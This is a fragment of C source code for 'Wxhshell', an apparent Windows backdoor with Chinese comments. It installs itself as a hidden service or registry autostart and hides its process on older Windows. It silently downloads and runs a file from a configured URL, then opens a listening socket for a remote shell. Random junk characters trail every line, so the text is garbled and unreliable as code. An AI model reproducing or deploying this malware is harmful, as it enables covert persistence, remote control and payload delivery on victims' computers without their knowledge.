ULONG UniqueProcessId; S-dV
ULONG InheritedFromUniqueProcessId; <H#K `|Ag
} PROCESS_BASIC_INFORMATION; j3F=P
*mtv[
PROCNTQSIP NtQueryInformationProcess; r4zS, J;,
GT0'bge
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +?'acn
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9)X<}*(qo
4\RuJx
HANDLE hProcess; )QT+;P.
PROCESS_BASIC_INFORMATION pbi; r}bKVne
6U]7V
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6<6_W#
if(NULL == hInst ) return 0; osI(g'Xb
)2hoO_l:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wkw/AZ{27
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ss}0.5Bq
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b@Cvs4
8tk`1E8!j
if (!NtQueryInformationProcess) return 0; HDxw2nz*R
&*SnDuc
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !ZdUW]
if(!hProcess) return 0; p:))ne:7
2
{0VyLx
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,|/$|$'
L1BpY-=
CloseHandle(hProcess); WdnP[x9
rY.:}D
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1C{n\_hR
if(hProcess==NULL) return 0; `$HO`d@0*R
Qa+gtGtJ
HMODULE hMod; p
IToy;]
char procName[255];
`Ea3z~<7M
unsigned long cbNeeded; ?;Qk!t2U
:SGQ4@BV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O'(vs"eN
29oEkaX2o
CloseHandle(hProcess); ]Re<7_xt
xOlkG*3c
if(strstr(procName,"services")) return 1; // 以服务启动 g11K?3*%Q
g(^l>niF:
return 0; // 注册表启动 =\.|'
} w8Yff[o
|Sq>uC)
// 主模块 YoA$Gw2
int StartWxhshell(LPSTR lpCmdLine) O&uOm:/(
{ Pe.D[]S
SOCKET wsl; We2=|AB
BOOL val=TRUE; ZWH`s
int port=0; Ns_d10rZ.
struct sockaddr_in door; ~c"c9s+o
YzqhFFaj.
if(wscfg.ws_autoins) Install(); V
Euv
D6pk!mS
port=atoi(lpCmdLine); (XQG"G%U6W
=v-D}eJQ=
if(port<=0) port=wscfg.ws_port; B=7L+6
1A`u0Y$g
WSADATA data; vbp)/I-h
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0Qz
\"gr
-|5&3HVz
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '
BpRi N
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [@czvPi
door.sin_family = AF_INET; AyUVsIuPT=
door.sin_addr.s_addr = inet_addr("127.0.0.1"); vjb{h'v
door.sin_port = htons(port); :Pv{E
jsj" W&J
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LCtm@oN
closesocket(wsl); X%sc:V
return 1; 4Bz~_
} Y]PZ| G)
d{&z^
if(listen(wsl,2) == INVALID_SOCKET) { 4-MA!&
closesocket(wsl); +?8nY.~,'
return 1; o,L !F`W
} WW.=>]7;
Wxhshell(wsl); 2rk_ ssvs
WSACleanup(); z3,z&Ra
%PpB$
return 0; %/7`G-a.B
B^
h!F8DC
} P06K0Fxf
yI!K
quMC
// 以NT服务方式启动 fXN;N&I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xs`/q}R
{ dFlx6H+R!0
DWORD status = 0; YeQX13C"Z
DWORD specificError = 0xfffffff; &^Io\
H5n"!!
serviceStatus.dwServiceType = SERVICE_WIN32; ][Kj^7/
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kF?\p`[a
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ji "*=i
serviceStatus.dwWin32ExitCode = 0; OP@PB|
serviceStatus.dwServiceSpecificExitCode = 0; _<8n]0lX3
serviceStatus.dwCheckPoint = 0; \*7Tj-#
serviceStatus.dwWaitHint = 0; `k+k&t
u}$?r\H'(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C..O_Zn{g
if (hServiceStatusHandle==0) return; <H.Ml>q:r
Z1&8U=pax
status = GetLastError(); \6o
~ i
if (status!=NO_ERROR)
d%<Uh(+:
{ W\"cp[b
serviceStatus.dwCurrentState = SERVICE_STOPPED; E4PP&'
serviceStatus.dwCheckPoint = 0; [30< 0
serviceStatus.dwWaitHint = 0; 1t6UI4U!$
serviceStatus.dwWin32ExitCode = status; X- zg
serviceStatus.dwServiceSpecificExitCode = specificError; _.j KcDf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j%lW+[%
return; B=f{`rM)~W
} yuND0,e
3E#acnqn*
serviceStatus.dwCurrentState = SERVICE_RUNNING; (g 8K?Q
serviceStatus.dwCheckPoint = 0; ?/;<32cE,
serviceStatus.dwWaitHint = 0; T"$"`A"
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m2_B(-
} B;EdLs}
:)+cI?\#
// 处理NT服务事件,比如:启动、停止 Tsa&R:SE
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9s}--_k?F2
{ 5)}xqE"x
switch(fdwControl) :Z<-J`
{ jYU#]
|k~
case SERVICE_CONTROL_STOP: VB Ce=<
serviceStatus.dwWin32ExitCode = 0; yCwQ0|
serviceStatus.dwCurrentState = SERVICE_STOPPED; |
#,b1|af
serviceStatus.dwCheckPoint = 0; +!X^E9ra
serviceStatus.dwWaitHint = 0; sGV%O=9?2
{ GDk/85cv0$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ex-`+cF
} b*$^8%
return; }hGbF"clqg
case SERVICE_CONTROL_PAUSE: 419t"1b
serviceStatus.dwCurrentState = SERVICE_PAUSED; L%!jj7,9-
break; #CM2FN:W
case SERVICE_CONTROL_CONTINUE: h5F1mr1Sa
serviceStatus.dwCurrentState = SERVICE_RUNNING; @+\OoOK<L
break; $v+g3+7
case SERVICE_CONTROL_INTERROGATE: P", 53R+"
break; A w83@U
}; L|v1=qNH4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); En1pz\'
} 7.]ZD`"Bb
:z.<||T
// 标准应用程序主函数 JIK;/1
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &D/_@\ 0
{ yHCBf)N7\
/7*u!CNm
// 获取操作系统版本 Tmq:,.^}
OsIsNt=GetOsVer(); BONM:(1
GetModuleFileName(NULL,ExeFile,MAX_PATH); 55Jk "V#8
Q|:\
// 从命令行安装 mgS%YG
if(strpbrk(lpCmdLine,"iI")) Install(); @n<WM@|l
B;^7Yu0,
// 下载执行文件 QQqWJq~
if(wscfg.ws_downexe) { n*U1
M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S53[K/dZo
WinExec(wscfg.ws_filenam,SW_HIDE); Nhs]U`s(g
} # *\PU
dq[CT
if(!OsIsNt) { N1_nBQF )
// 如果时win9x,隐藏进程并且设置为注册表启动 ^/c&Ud
HideProc(); =8[HC}s|$
StartWxhshell(lpCmdLine); aVd{XVE
} ~W!sxM5(*
else LTrn$k3}
if(StartFromService()) O0wD"V^W
// 以服务方式启动 }nuhLt1
StartServiceCtrlDispatcher(DispatchTable); \07
s'W U
else 8eL[,uw
// 普通方式启动 V"gnG](2l
StartWxhshell(lpCmdLine); &AC-?R|Dp
;[&g`%-H<
return 0; a Z
^SK|E
}